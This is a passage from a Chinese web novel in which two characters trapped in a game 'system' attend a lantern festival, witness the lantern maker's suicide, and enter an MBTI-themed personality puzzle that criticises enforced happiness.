“盒子灯第一步是扎框架,所以我们需要很多不同长度的竹条,二位可以先看我演示如何劈竹条。”
马明远拾起一旁晾晒好的竹子,手握一把砍刀,熟练地从上至下劈下一根粗细均匀的竹条。
“一定要注意,竹子上有许多小毛刺。”
也不是很难,只是需要耐心和力气,手腕转动间,借着不甚明亮的灯光,林茉瞥到马明远掌心似乎有不少伤疤,层层叠叠,像是被什么利器所伤,不像是竹条或者木材所致。
---
林茉怀疑系统在绣楼多次威逼不成,改换了糖衣炮弹战术,这里的人们个个热情体贴,走在大街上甚至有小孩主动跑来送一颗小果仁。
那是一个坚果小摊,头顶挂了一排莲花灯,衬托得老板慈爱有加,甚至马上成佛。
林茉一时不太适应,上次可是好好说话就飞出绣线杀人。
她还是不相信系统会突然改邪归正:“会不会有诈?”
难得见林茉谨慎,江砚把果仁放入口中,答非所问:“很香,要不要给你买点?”
林茉:“咱们有钱?”
江砚无奈,“我的姐姐——”
林茉朝小摊走去,将街边灯火悉数收入眼眸,她回头看江砚,眼神含笑,“我以为系统包吃包住,没注意。”
江砚:不要以为有契约就可以为所欲为。
---
虽然节日未至,但街上氛围已经很浓厚,林茉平时在家时间居多,偶尔看到节日活动的消息,也会以“人多太挤”为由不去参加。
此刻人潮涌动中体会到了一种陌生又熟悉的感受,流连忘返,不愿离开。
“这么开心?”江砚问。
林茉
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诧异,“我很开心吗?”
她站在一人多高的大红鲤鱼灯前,背对江砚,身披毛茸斗篷,整个人被映得喜庆有加。
江砚被问得愣住,因为他完全是脱口而出,并未看到林茉表情,可是他就是可以不假思索地确定林茉现在心情不错。
“嗯,氛围吧。”
他们出来吃晚饭,已经逛了一会儿,“差不多该回去了。”
林茉点头,“走吧。”
马明远还在独自忙碌,若能拿到名次,会被官方聘为花灯师,这样生活来源不仅上涨,而且稳定。
她很喜欢这个创意,也想帮助他早日完成,在节日拿到名次,被大家喜欢,说不定自己也能因此顺利离开系统,不用像上次那样一波三折。
转身时,余光残影中好似有什么东西闪了一下,明暗交替间,鲤鱼灯原本圆溜溜的大眼睛变成弯垂哭状,眼眶里泪水晶莹。
“嗯?”
“怎么了?”
“好漂亮的鲤鱼!”一名扎红色头绳的小孩奔跑过来,围绕鲤鱼灯蹦蹦跳跳,灯影交错,鲤鱼似乎也在回应小孩的热情。
看似正常得很,林茉有点犹豫,“我刚刚看到鲤鱼灯好像不太一样,也可能是角度问题。”
经过绣楼对直觉的验证,江砚不再轻视,“小心些,发现什么随时告诉我。”
---
回到小院,林茉又不自觉被门口走马灯吸引,寒风中,灯穗如同缺衣少穿的人,微微颤抖。
马明远并不休息,吃完饭立刻工作,在整理竹条“你们回来啦?”
“竹条足够了,可以开始扎框架。”
框架很基础也很重要,若有歪斜很可能导致灯笼卡住,无法正常展示。
江砚提出分工,“我和林茉扎框架,你去画图案,抽空指导纠正我们就行,这样快些,你的图案也能更精致。”
老板到哪里都是老板,已经开始反客为主分配任务。
歪了
歪了
歪了歪了
......
框架扎得林茉耐心早早告罄,真的很容易歪!
绑不紧会歪,身体不正会歪,角度不对会歪,明明看起来不歪,过一会儿又歪了,林茉觉得很正,江砚认为歪,拿出测量工具一对比,果然歪了......
歪歪歪歪歪。
林茉长这么大,第一次听到这么多歪字。看似简单的工作,一刻不停忙下来也是头晕眼花。
根据图纸复核时又发现几处不对,牵一发动全身,又将这六层大框架和几处关键小框架改了好多次。
救命——
林茉一直在观察马明远,他好像永远没脾气,一边画图纸一边找话题与他们交谈,碰到问题也很有耐心地纠正。
太不一样,在这生活两天,不但一切正常甚至让人舒适。
但这是最大的不对劲。
---
林茉坐在窗边,烛火快速跳动闪烁,视野明暗不均。
会不会盒子灯里隐藏着什么秘密,就像绣楼的万线归宗,其实就是整个绣楼的混乱核心。
烛光逐渐稳定,闪烁节奏也变得缓慢,真正体验起来,梦里的时间流速和现实也没什么不同。
框架是他们亲自搭建,如果盒子灯有什么秘密,或许隐藏于马明远的图画里,但她看过图纸,只是一些诗词人物。
仿佛有风吹过,光线复又快速跳动。
不对,在房间里怎么会有风呢?林茉警惕站起来,四周查看,来自窗外的一点灯光在余光角落里迅速闪灭,随后闪烁再未发生过。
一会儿快一会儿慢,快快快,慢慢慢。
SOS?
12. 第 12 章
夜晚清冷凉气扑面而来,夜空澄净,星光密布。
那是一盏很不起眼的小灯,大概只有巴掌大,在角落里安安静静,很像幼儿园里落寞自卑的小孩,虽然形状有些歪扭,但能够看出是五角星形状。
“是你在闪吗?”
林茉拿起星星灯仔细看了一会儿,忽然有点不确定,怀疑自己可能找错了,因为这盏灯太小,摆放位置低,也不够亮,院子里还有其他光芒更亮的灯笼,没有人会注意到它,甚至像个废品。
它也并未闪烁,里面一根将要燃至尽头的蜡烛正在努力发出最后的光。
算了,夜晚实在寒凉,林茉将星星灯轻轻放置于石边背风处,站起身准备回房间。
她将转未转,余光将收未收之时,星星灯又闪动起来——
!
可林茉一锁定目光,星星灯又回归沉默,只是烛光即将燃尽不太稳定。
好奇怪,像是在避开什么偷偷和她说话,因为刚刚那一瞥的瞬间,节奏不像是自然的闪动,但也不是SOS。
时间不存在、时间在推移,灯火如同蔓延生长的节支,一寸一寸将这个江南小镇的夜晚点照得越来越亮,整个小镇的欢乐氛围在每分每秒里越推越高,万众瞩目和期待的上元节正式到来。
“好神奇,”林茉拿着一只迷你滚灯轻抛,圆球框架在空中翻滚数圈,轻轻落回林茉手中,“灯笼还可以抛着玩。”
江砚附和她笑了笑,显得有些百无聊赖,好像对热闹并不十分感兴趣。
咚、咚、咚——
鼓点蓦然响起,贯彻天地,盖过人声吵闹,整条街的注意力都被吸引,不远处提前搭建好的戏台灯火璀璨,十余名男女手持各色滚灯立于其上,舞姿融合了武术动作,刚劲有力,飒爽利落。滚灯灵动,时而如同互相有引力一般配合舞者动作贴着身体环绕翻滚,时而被高高抛起、腾挪、交换......无论如何,中央烛火永保正直,燃烧不灭。
林茉看得出神,不知现实世界中有没有这样的热闹,她在现实中没实现的小心愿,穿越时光、甚至物质,居然在这虚无的数据中发生了。
“你说马明远能拿到第一名吗?
“很有希望啊。”
江砚皮肤白皙,在灯火下显得干净细腻,不像深谋远虑的老板,倒像明天早晨会出现在球场上的大学生。
赛花灯正式开始——进入上元最终评选的只有十位。
走马灯、花篮灯、无骨灯,各式鱼灯、龙灯、兔子灯......能在这花灯小镇进入前十,定然后各有特色和巧思。
马明远的盒子灯是压轴出场,说来也怪,从今天早上开始就没有见到马明远,据小院里其他人说看到他一大早就出去了,之后没有人再见过他。
林茉和江砚对视,这有点不合常理,因为马明远不像是这种会单独行动不告诉任何人的性格,一天不见踪影,不会出什么岔子吧?
人群中爆发一阵欢呼,高架抬上出现一个人影,缓缓走向正中央——马明远!
为展示盒子灯,需要提前搭好将近十米的高架台,点燃后巨大的灯笼一层层绽放、脱落,惊喜又震撼。
还好,马明远按时出现了,林茉也同意江砚的说法:马明远很有希望。
站在那么高的地方显得他整个人很小,说话也无法传达,仿佛与热闹的街道分隔开两个世界。
拿到第一名就可以生活得更好了。
“最后一位花灯展示——开始!”
“哇哦!——”
身旁的小孩子一边跳跳一边鼓掌,小手拍得响亮,每一个花灯他都是如此捧场。
底层是一只巨大的旋转花灯,莲花底座呈淡粉色,清透明亮,主体为六角造型,火光靠近,火焰如同烟花四射而出,莲花灯缓缓旋转起来。
“哇!——”人群不约而同爆发出惊叹。
精心绘制的水墨烟雨纹、飞蝶落花、蓑衣垂钓图案缓缓旋转经过众人眼前,一名衣袂飘飘的仙女手持荷花——何仙姑莲花踏浪,临面用飘逸书法书写几个大字:一蓑烟雨任平生。
第一层:平生逍遥。
林马明远真的很有才华,他值得更高的去处。
是的,产品就需要做到程度,无论从时间、效率、创意、完成度哪个角度,这个作品都堪称完美。
江砚心底流淌过一股奇异的满意感。
林茉越来越期待,她知道接下来还有春眠花间、陶然一醉等五种不同主题、造型各异的花灯,只待灯火继续燃烧。
一层脱落、二层新生。
“啊——”
整个人群齐齐后退,爆发出巨大惊呼,万众瞩目之下,马明远从高台上跳了下来!直直砸向地面。
唰啦——首层盒子灯脱落。
“啊!”有人惊恐大叫,抬起手指颤颤巍巍地指向盒子灯。
林茉看过去,内心“咯噔一下”,原本第二层应是春眠花间,蓝采和花间而眠,李白月下醉饮,书法是:仰天大笑出门去。
可现在原本的意境和精致完全不见,盒子灯肉眼可见地由下至上颜色越来越淡,最后竟褪为白色,图案与火光交织出令人毛骨悚然的灯影。
这是,祭奠?
如静脉青紫血管一般的纹路交织,爬满原应刻画着鎏金云纹的灯面,“仰天大笑”书法变为密密麻麻的药片拼接而成的在此处显得很诡异的宣言:正能量战胜一切!
一路燃烧的暖黄色烟花变为沥青一样黑浊粘稠的物质,一寸寸游走吞噬。
人群尖叫、混乱…江砚拉住林茉手腕,力道坚定,“害怕吗?我们得过去看看。”
林茉点头,深蓝眼眸柔和地将江砚纳入其中。
一片混乱失控中,他们是互相唯一的确定。
“砰”的一声第二层盒子灯脱落,伴随一股腐烂气味,第三层盒子灯以不应有的慢速缓缓展开。
这层主题是陶然忘机,如意酒坛纹点缀下,曹国舅举杯邀饮,“共君一醉一陶然。”
腐烂人偶被悬吊于旋转绞架,头颅低垂,嘴巴一开一合,邻面开裂的文字转动过来,仿佛是人偶在说:“你要开心啊。”
要开心。
要开心。
林茉似乎听到有人在随声附和,她的左手腕还在被江砚握着,右手拉住江砚手臂,紧张道:“你有没有听到什么声音?”
江砚听到了。
不听到都不行,因为越来越多的人在重复,低语如同有毒的蚂蚁细密汇集,好似一场诡异
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仪式,原本很好的一句话被扭曲成黑暗咒语。
要开心。
要开心。
林茉感觉自己难受极了,心脏仿佛被浸泡于一种极酸的物质中,这难以忍受的酸痛感模模糊糊好像似曾相识。
她将手腕抽出,捂住双耳,本不算远的路程好像永远也走不完。
第四层。
林茉记得在这里马明远原本加了好多彩带、飘带,希望能达到一个小高潮的效果,然而此刻飘带变成无风自动的白幡,原本预计会四散飞舞的彩带变成一张张纸钱,风冷无月,风冷无月,荒凉飘洒。
江砚突然环住林茉肩膀,“往前走,别看。”
林茉想问别看什么,正欲开口却被江砚扶了一下将要偏过的头,声音质感温和,仿佛划亮黑暗的一路阳光,“往前走。”
他们找到马明远时,第四层轰然坠落。
【检测到消极情绪,已启动辅助振奋协议】
这次的系统音并非针对林茉和江砚,而是广播一样回荡在整条花灯街。
什么协议?
那些原本机械念着要开心的人们,脸上忽然开始露出微笑,林茉顺着他们的目光看过去,第五层盒子灯播放着灾难新闻:
X区爆发内战,大批难民被迫一夜之间转移住所。
配合播放着战争炮火下,黄土路上烟尘滚滚,一列难民顺着路的形状蜿蜒,拉着行李默默前行,特写镜头下目光沉静得令人心颤。
还有人生活得更加不容易,有什么理由不开心呢?
影像一遍遍播放,花灯街上的人们陆陆续续回过神来,开始恢复“正常”,甚至开始拾起路面上的纸钱,丢到目光看不到的角落里去。
林茉终于明白为什么之前明明大家都很热情友好,她还是会觉得奇怪,因为这里只允许快乐、只允许热情。
有人想要将马明远抬走,如同丢掉那些纸钱。
林茉挥手将他拦下,那人惊讶抬头,微笑着问:“你来吗?辛苦你啦,我帮你一起吧。”
“不用。”林茉的声音听不出情绪。
动作间她目光扫到身后,瞬间明白为何江砚让她只管向前走不要四处看,因为原本花灯街上各式各样的灯笼全部变成了白色,灯穗奇异扭动。
轰——
最后一层豁然绽开。
江砚将林茉揽得更近了一些。
满街都是白色祭奠灯笼,只有这最后一次是黑色,分辨不出任何图案,这层是八角灯笼,原本有一扇红色大门,刻有鎏金福字纹,随着火焰燃烧门会自动开启,露出里面笑容满面的南极仙翁,寓意喜庆长寿。
“千门万户曈曈日,总把新桃换旧符。”
漆黑的双扇门缓缓开启,露出里面的黑影轮廓,黑色吞没所有细节,漆黑中好似有双眼睛悬在上面紧紧盯着街道,也包括躺在地上的马明远。
原来他穿红袍不是因为开心。
灯穗生长扭动,林茉想到显微镜下的病毒,江砚突然开口,“做好心理准备。”
什么准备?
下一秒林茉有了答案,那些灯穗并非病毒,而是——肠道。
系统音再次响起。
【请保持正能量,否则将启动强制纠正程序】
13. 第 13 章
同样是公共广播。
强制纠正程序?是什么?
思考间,扭曲的细肠灯穗猛然生长,勾住一位长发女士的脖颈紧紧缠住,女人挥舞着双臂,五官挤在一起,嘴巴虚张发不出一点声音,发丝混乱地糊在脸上,林茉本能想要过去查看,可是灯穗却忽然松开,那人脸上露出笑容,轻拍胸口笑得一脸幸福。
不对。
死里逃生的人不该是这样的表情。
满大街的白纸灯笼,地上满是凄凉的纸钱,可是越来越多的人开始恢复美好心情,一如什么都没有发生过。
林茉本能地有些反感。
--
“上次是强制工作,这次是强制开心?你觉得呢?”林茉问江砚,她的长发原本编在一起,但经过一番折腾,几缕发丝松散下来,整个人的线条因此柔软几分。
“嗯,看来是这样。”江砚本该查看马明远的线索,但是却被那几缕发丝分了神。
先前感受到的热情和快乐——
那些人并非真正欢迎他们,并非发自内心对他们热情,只是生存手段和习以为常的麻木罢了。
林茉无奈,果然还是有幺蛾子。
“茉茉你看。”江砚将马明远衣袖拉起,露出手臂上交错撕裂的密集伤疤,
茉茉——
“小茉茉,给你多加一颗鸡蛋?”食堂阿姨总是对她笑眯眯的。
林茉出神了一瞬,随即看到马明远手臂。
“这里为什么会有这么多伤疤?”林茉奇怪,“他的掌心也有很多伤疤。”
掌心伤疤或许还能用做灯笼时不小心受伤解释,但无论如何也不会伤到手臂这么多,所以——
“这是马明远自己弄的。”江砚替她说出结论。
“他为什么要这样?”
“不知道,其他地方应该还有线索,我们回马家小院。”江砚回答。
但是很奇怪,之前在绣楼时,晓晗坠楼后整个人变成数据回归系统,但马明远为何还躺在原地。
几名弟子不知何处而来,打算将马明远带走,林茉问他们带去何处,其中一位弟子友好一笑,“您是马家小院尊贵的客人,交给我们处理就好了,您快回去歇息。。”
可是,任务泡汤了啊,要怎么出去。
林茉打了个哈欠。
江砚本欲出手阻拦,毕竟马明远可能是出去的线索,但心里突然有个声音:遇到事情会一走了之的人随他去吧。
于是他收回了已经伸出的手。
---
马家小院已经失去原本的温馨,门口的走马灯空寂旋转,同样褪为白色,所有灯笼、所有色彩都变成白色,上元灯市成为大型祭奠场,可是却没有人感到悲伤。
嗯?
林茉拉住江砚衣袖,“江砚你看。”
“怎么了?”
“里面的图案还在,你帮我摘下来看看。”
江砚拨弄了一下,发现铁环进进嵌在木板里,“搬个椅子给你站上去看吧。”
林茉点头,她有些困倦,顺手拢了拢披风,懒懒倚在门边等待。
走马灯安静转动,投下明明暗暗的斑点虚影,转来转去的,林茉看得有点发困,她倚靠的力量更大了一些,头歪着靠在门框上,由于疲惫,眼睛一下一下很缓慢地眨动。
图案持续变换,在视线残留下连接成一片连贯虚影,如同天边薄云,甚至能看出像一个图案。
别看我。
我很好。
?
林茉一个激灵站直身体,可是和之前的小星星灯一样,定睛一看就消失了,还是不规则的投影在旋转。
江砚搬椅子出来时,林茉正努力找回自己之前眯眼看到字迹的姿态,整个人看上去好像被困意淹没了,一缕柔软的发丝垂在额前。
江砚忍住想要替林茉拂开发丝的冲动,“有这么困?”
林茉将字迹发现说与江砚,于是江砚放下椅子也靠到林茉身边,眯起眼睛观察灯影,冬日里,雪松香更凛冽了。
“我还是没看到。”江砚低声说。
声音很近很近,贴着林茉耳畔,细致的颗粒感如同手指轻抚一样擦过。
林茉微微偏开头,有点不自在地回应,“得找角度。”
“算了,”江砚笑着站直,“既然你已经看清楚,我就不浪费时间了。”
“你看到的是‘别看我,我很好’?”
“嗯,”林茉站上椅子,“这里强制开心,所以马明远可能借此想表达自己吧。”
里层也是白色,镂空剪纸图案加上残余几笔线条似乎勾勒出某种图案,林茉耐心地等待内层旋转一周,仿佛是一群人围坐在一起合家欢的样子。
人、餐桌、菜肴、欢笑。
很正常的喜庆图案,所以信息只能透过投影隐晦表达?
还是顺便看看另一个。
江砚递过来手臂,衣袖因为他的动作上提,露出手腕荆棘纹路,林茉扫过一眼,这个图案真的适合江砚,和他温润的脸形成很强反差感。
嗯?
“怎么了?”
第二盏走马灯也是剪纸与线条结合,乍一看似乎和第一盏没有区别,但好像有些细节又不同,林茉说不出哪里不同,好像是剪纸的孔有一点点不够圆,具体到人身上,就好像这个人在垂头丧气,总之这盏走马灯给出的不是围坐的热闹,而是沉默和尴尬。
就好像——林茉觉得有点熟悉,一时又想不起来。
江砚见林茉若有所思走下椅子,长长的披风很容易被踩到,用力扶住,“怎么了?
小臂感受到的力道让林茉回过神来,一道亮光闪过,她瞬间想起了那种感觉。
对!
那些年被强迫参加的部门团建,吃完饭大家五一离开,她也没法率先离开,于是只好加入并不很感兴趣的聊天。
你怎么不说话?
这就是马明远在第二盏走马灯里想表达的。
“我觉——”
林茉刚开口,系统提示音响起:
【检测到关键任务点:倾听。】
【申请进入二级精神空间——人格矫正室。】
【核心任务:人格选择与疗愈。】
【温馨提示,请您注意:禁止沉默;禁止脆弱;禁止承认孤独。
违规惩罚:人格数据永久性损毁。】
【检测到管理员协议:朱雀--001,最高权限已监控您的情绪波动。】
【二级空间,人格矫正室,已开启】
远处原本亮着的白色灯笼一盏一盏熄灭,漆黑向他们一寸寸蔓延,仿佛有什么不可见的物体在靠近,江砚揽住林茉肩膀,直至无边黑暗将他们包围,意识沉入深海。
---
唰、唰、唰、唰——
一片漆黑中,八盏巨大的落地花灯蓦然亮起,组成分布均匀的八角形,他们站在圈外,地面有棋盘格图案,林茉一时站不稳,靠在江砚身上抬起手遮挡突如起来的光线。
【
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欢迎来到人格矫正室】
【请仔细倾听接下来播放的声音】
空中传来一段非常嘈杂的声音,同时计时开启:【00:00:00】
人群喧哗声、系统提示声、机器震动声,间或夹杂着笑声,林茉皱眉,这简直是精神污染,昨晚回到小院还没进门就被传送到这里,还没睡觉呢。
想打哈欠,想靠着什么睡会儿。
【00:00:15】
【播放完毕,请问笑声于第几秒出现?】
【请朝你选择的灯笼前行对应步数,请谨慎作答、谨慎选择,回答错误将触发实时惩罚机制,灯笼选择关系到您最终能否到达正确地点、保证人格完整。】
威胁?
但无论如何林茉是真不记得笑声何时出现,只是隐约想起应该不在最初五秒之内。
她看向江砚。
江砚同款无语,“不知道。”
林茉轻笑,“那怎么办,随便选一个?我记得不在最初五秒,后面的数字你看着选一个吧。”
反正她不怕惩罚。
“笑声断断续续,大概有五六秒吧。”
“选5?”
“嗯。”
接下来是选择一盏灯笼的方位,“灯笼是什么意思?”
八盏灯笼形态各异,落地的,漂浮的,有些是明亮的橙红橘绿,有些则看起来安静恬淡。
“不知道,选你喜欢的?”
“我没什么喜不喜欢。”
林茉楞了一下,“那选离我们最近的。”
这是一盏檀木方灯,四周图案由老照片组成:热闹灯会、阖家团圆、儿童嬉戏...仿佛就是现实中某个人制作的回忆灯笼。
底部有一条明亮的数据条,滚动播放着一行字:今日天气晴朗,气温25度,伴有微风...
1、2、3、4、5——
走马灯似乎很欢迎他们,节奏很快地闪了闪。
【回答错误!】
【正确答案:7】
【触发惩罚:噬声,从现在起您将被剥夺声音表达功能】
?
林茉张了张嘴,真的发不出声音!她适应了几秒,很快感觉好像也没什么不能接受,于是对江砚耸耸肩。
江砚更是无缝适应,他轻拍林茉,指了指自己眼睛,又指了指她。
别离开我的视线。
林茉不害怕什么人格是否完整,世界上也根本没有完美人格,但是她不想连累江砚,虽得到提示需要小心,可是毕竟一直以来江砚都有在认真和她相处。
先尽量别再被惩罚。
林茉环顾四周,八盏灯笼关系着最终结果,可是这八盏灯笼到底意味什么呢?
明暗规律不明确,图案和装饰之间差异很大,完全看不出任何内在联系。
等一下。
她轻轻晃动江砚手臂,手指在灯笼间指指点点。
......
不能说话好烦。
江砚一下子没有领会,林茉又拍了拍他,示意他看着自己,两只手分别指向相反方向,一共点了四次。
因为不能说话,所以林茉一改往日的平静眼神,一直在积极和他沟通,明亮生动。
两两一组?
可是如何向林茉确认?
之前的种种危险就算了,看来放任过久,这个系统真的忘记了谁才是主人。
朱雀纹身蓦然亮起。
林茉用眼神询问,“你干嘛?”
14. 第 14 章
林茉以为江砚打算使用时光倒流,想要示意他不要冲动,但看表情似乎并非江砚主动做了什么。
滴滴滴滴——!
滴滴滴滴——!!
尖锐警报声蓦然炸响,吓了林茉一跳。
所有灯笼突然齐齐频率一致地闪烁红光,映得眼前空间通红一片,好像整个空间都陷入了某种危机。
林茉很快恢复镇定,已经习惯系统总是突然抽风,翻了个白眼好整以暇地抱臂等待,又要搞什么幺蛾子。
【已启动调整程序】
所有灯笼又整齐划一地放慢节奏闪动几下,随即恢复成最初模样。
嗯?
林茉余光注意到其中一盏水滴灯在所有灯笼都停下后,又几不可查地快速多闪了一下。
等她转头去认真看,又什么都没有。
已经好多次了。
系统音平静响起:
【上一题中系统调用了错误惩罚,现在开始启动修正程序。】
【撤回惩罚-“噬声”】
【启动正确惩罚】
【第一题回答错误】
【触发惩罚:数据粉尘-感官烟火】
什么东西,取名奇奇怪怪。
一盏朱红色六角宫灯忽然膨胀变大,上面书写的“好棒”“加油”等字迹以及点赞装饰图标膨胀凸出,灯笼能量暴涨,好像有看不见的东西在给它打气,底部铜铃叮咚作响,如同虚假的欢笑,边膨胀边从顶部释放出大量粉末状晶体。
漫天暗红色晶体如同沙漠中突如其来的沙尘暴,向他们快速扑来,林茉隐约注意到灯笼底部悬挂的“社交牛X症”铜牌好像变得黯淡无光,仿佛灯笼膨胀吸走的是它的能量。
江砚皱眉,以这个速度他们无法避开。
被晶体覆盖的刹那,林茉感觉自己猛然轻盈了一下,像是一脚踏入真空,随后仿佛有什么流淌至内心,带来一种被束缚的压抑感以及强烈地想要将其摆脱的心情。
“江——”
果然撤回了失声惩罚,好舒畅,只有真正失去过,才知道自由表达是多么畅快。
林茉本想问江砚他对数据粉尘有何反应,想知道他们是否一样,但意识到自己声音恢复后,莫名觉得很累,很想很想找个什么东西靠一下。
这个念头如同一颗有魔力的种子快速萌芽,开枝散叶,很快占据了她的全部注意力。
什么东西——
身边只有一样可以依靠的“东西”——江砚。
于是她张开双臂搂住江砚的腰,如同情侣拥抱那样贴了上去,头埋在江砚胸前,雪松香柔和地轻漫鼻尖,很舒适很安心,江砚的触感匀称结实,温度很像是躺在家里的床上,林茉神经更加放松,施加给江砚的倚靠力道更大了一些。
--
江砚一时不知如何是好。
瞎搞什么?
越改越差。
还不如剥夺声音。
刚刚他调用朱雀001的管理员协议,强制要求系统撤回失声惩罚,并且警告系统禁止再随意剥夺他的东西。
系统很乖。
不剥夺,那加点什么总可以吧。
--
【第二题:这是一段加速倒放的音频,请按正确顺序还原,回答正确将会得到前进提示,回答错误触发惩罚,请谨慎作答】
【该音频将重复播放三次,请仔细聆听】
【第一次:*…%$#^…%&&…*%%…】
......
听不懂,林茉窝在江砚怀里摇了摇头,发丝刮蹭到江砚下巴,痒痒的。
【第二次:*…%$#^…%&&…*%%…】
开头好像是“人艺”,然后是什么什么“本”?
林茉一边闭目养神一边大概记下声调。
【第三次:*…%$#^…%&&…*%%…】
还好系统并非有意为难,很好记,林茉担心忘记一直小声重复。
她不想离开这个温暖怀抱,有点不情愿地动了动,维持原有姿态,在江砚怀里抬起头,带一点鼻音,“我重复,你,捋顺序?”
江砚低头看林茉,目光深得像是要把她包裹起来,最终还是忍不住伸出手拍了拍林茉后背,然后便一直轻轻搭着,“不用,我知道了。”
柔软的水波轻柔淌过内心。
作为老板,江砚对这句话比较熟悉。
“本岗位优先招聘E人。”
林茉:......
“哼。”
资本家的系统也是一股资本家的味道。
林茉平时很少露出这种软糯孩子气的一面,看来是受到了数据粉尘影响。
等等。
林茉受到数据粉尘影响,那自己呢?
江砚目光转向搭在林茉后背的那只手,默默叹气,他动用管理员权力强行撤回失声惩罚,但是眼下的局面比失声还要混乱,不知道林茉之后清醒后会作何反应。
可是即使理智清楚,他还是很难下定决心将环着林茉的手拿开,互相依靠的感觉有点好。
【恭喜您回答正确】
【前进提示:前进方位感觉型灯笼,前进步数:9】
感觉型?
怀里的林茉又动了动,像一只不安的小猫,声音闷闷,如同海面上最细小的浪花,细密划过江砚耳膜,“这是MBTI灯笼嘛,就说怎么两两对应的。”
然后开始耍起小脾气——撒娇更加准确,抱着江砚螃蟹似的移动,脸上满是单纯的天真,“去找MBTI。”
谁的MBTI?MBTI具体是什么?
江砚对E人有所耳闻,公司人力总监简单给他解释过,但他不好奇自己的MBTI,也不相信它可以代表一个人,所以只是随便听听,并未放在心上。
偏偏在这碰到知识盲区。
江砚又拍了拍林茉后背,林茉很受用似的轻哼回应。
“茉茉,你知道MBTI吗?”
林茉继续没睡醒一样哼哼,“我想想。”
......
不对。
数据粉尘好像不止影响心理,还会影响触觉,他拍林茉后背时、林茉的声音传进耳朵时,那种水波一般轻柔又有点发痒的感受......
感官烟火,原来是这个意思。
越弄越麻烦了。
这烦人的玩意到底何时失效?!
“别想了,累了先好好休息。”江砚轻拍后背安抚林茉。
江砚根据两次正确答案计算出他们应前往的棋盘格位置,低头对怀中人轻声细语,“茉茉,走了。”
他强忍心中想继续拥抱的冲动,轻轻推了推林茉。
林茉却反而抱得更紧,咯咯笑了笑,“好痒。”
......
江砚接手江氏集团时正值父亲突然消失、集团一团混乱之际,那时候他也年轻,花费不少心思才将集团稳定下来,逐步走上正轨,其间遇到过无数艰难时刻,但没有一种能够与眼前的情况相比拟。
此时的林茉就如同一团洁白柔软的泡沫,不敢动也不敢催。
....
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..
最后他只好将林茉打横抱起,快步走向正确地点。
【第三题:七情六欲皆可测,打一系统功能。】
【A情绪数据化,B赛博算命】
当然是A。
林茉忽然伸出手轻轻覆盖在江砚唇上,温热柔软的触感。
江砚怔住...还没有人敢直接用这种方式让他闭嘴。
林茉皱眉,表情似乎有点痛苦,双眼轻合,像是在努力思考,又像是在对抗什么,声音很轻,“别答,不太对。”
江砚瞬间理解,对比第一次的题目,好像系统出的题越来越简单,简单到不像是他们在解谜,倒更像系统故意引导他们去到某个地点。
林茉又闭眼缓了一会儿,感受到那种不舒服的躁动的能量仿佛被什么一寸寸蚕食,最后消失无踪。
她睁开了双眼。
映入眼帘的是江砚的怀抱,他席地而坐,自己正横躺在他怀中,被环抱着。
!!!
!!!!
她什么都记得。
瞬间如同触电一样从江砚怀中离开,“我我我我——”
江砚面不改色、一切正常,还替林茉解释,“没事,数据粉尘。”
见江砚大大方方,林茉自己也放下心来,“不好意思,我、我被影响了。”
“嗯。”
突然离开,怀里空落落凉丝丝的。
---
转移注意力的最好办法就是想“正事儿”。
林茉深呼吸让自己冷静,“不能按系统提示走。”
在绣楼,如果他们乖乖听话,可能也成为忘我刺绣的NPC中一员了。
江砚赞同,“我们梳理一下。”
如果这八盏灯笼分别对应MBTI的不同维度,那么他们需要猜的是马明远的MBTI吗?但马明远有这么重要?猜他的MBTI做什么?系统这次又想要达成什么目的?
“不一定是马明远的,也可能是所有人的。”江砚说。
“什么意思?”
江砚又摇头否定了自己的结论,“不过这里强制热情开朗,不管是谁,MBTI应该都是一种。”
林茉粗浅了解过MBTI,努力调动大脑深处记忆。
“E——”
E人是一定的了,其他的该怎么选呢?
“ESFJ。”
“ESFJ?”江砚一脸迷惑。
难得触及老板盲区,林茉有点小得意,她顺着江砚的想法多想了一步:
“我们应该选择系统最想塑造的MBTI,它想把所有人都变成这种模式,要求人们不停歇地工作、比赛、热情...我记得没错的话,ESFJ最符合。”
“那我们更不能去那。”江砚说。
林茉笑了笑,眼睛里带一点狡黠,“要不——我们选它最不喜欢的。”
“最不喜欢哪种?”
“INFP咯。”
“为什么?”
林茉摇头,“我也不知道,只是看到过很多人这样说。”
被系统强制外向的马明远那么痛苦,根本不可能是ESFJ,难道他是INFP?
“如何确定哪里代表INFP?”
之前是方位加步数的形式,但现在没有了步数。
环顾八盏灯笼,林茉再次感叹如果不是系统喜欢搞幺蛾子,光凭这八盏各有特色的灯笼都可以举办灯展了。
林茉伸出一根食指左右摇晃,然后坚定走向之前异常闪动过的水滴灯,“不玩它的游戏。”
15. 第 15 章
那是一盏很漂亮的水滴灯,还隔着一段距离就感受到它质感别有不同。主体材质应该是玉石,通体莹白,温润纯净,清透流光。
不争不抢,自有引力。
林茉选择靠近它,起初是由于叛逆和好奇,她不想听从系统指示,但最后已经完全忘记情绪,只有单纯的欣赏与惊叹。
一滴令人心颤的完美的玉石水滴。
【答题时间到,未检测到答案】
【返回初始代码库】
【启动备方案:零】
这系统还真是会随机应变。
【请注意,零方案包含爆炸反应】
【请玩家注意安全】
却不说怎样会引发爆炸,但林茉来不及去想,因为已经被眼前的东西全然吸引。
她缓缓伸出指尖,小心触碰,仿佛在呵护某种珍贵易碎之物,“好漂亮啊。”
连核雕耳钉也被映衬得更加润泽。
自从被数据粉尘影响,江砚感觉林茉好像出现了一丝缝隙,如同一枚开始对外界感到好奇的贝壳,尽管缝隙只有一丝,但已经天壤之别。
“嗯?”林茉盯着手下一处灯笼表面面露疑惑。
“怎么了?”
“你看,”林茉指了指,“这是裂开了吗?不像是天然的。”
江砚贴近玉石仔细查看,“是裂痕。”
他又指向临近一处,“这里也有。”
不仅仅这两处,仔细看去,这个灯笼简直遍布细小而深的裂痕。
天啊。
原本天地造化一般完美无暇的白玉,不知为何居然变成这样子。
从内部裂开的吗?
林茉和江砚不约而同叹气,好可惜,碎裂无法复原,没有人再能看到它真正的美。
内部暖色灯光安静稳定,林茉想到滚灯的不灭之火。她告知江砚自己曾几次看到灯笼偷偷闪烁,它想表达的、促使它挣脱系统程序的东西在哪里呢?
“会不会在灯笼里面?”林茉问,却随即否定自己,“但我们不会砸掉这盏灯。”
即使它遍布裂痕,还是没有人会忍心彻底毁掉它。
“它背后的数据一定有所不同。”
“但我们又看不到数据。”
“再找找,数据一定会显现在灯笼上。”江砚说。
林茉和江砚一寸寸查看灯笼,在接近底部的弯弧之处,林茉注意到一丝异样的光。
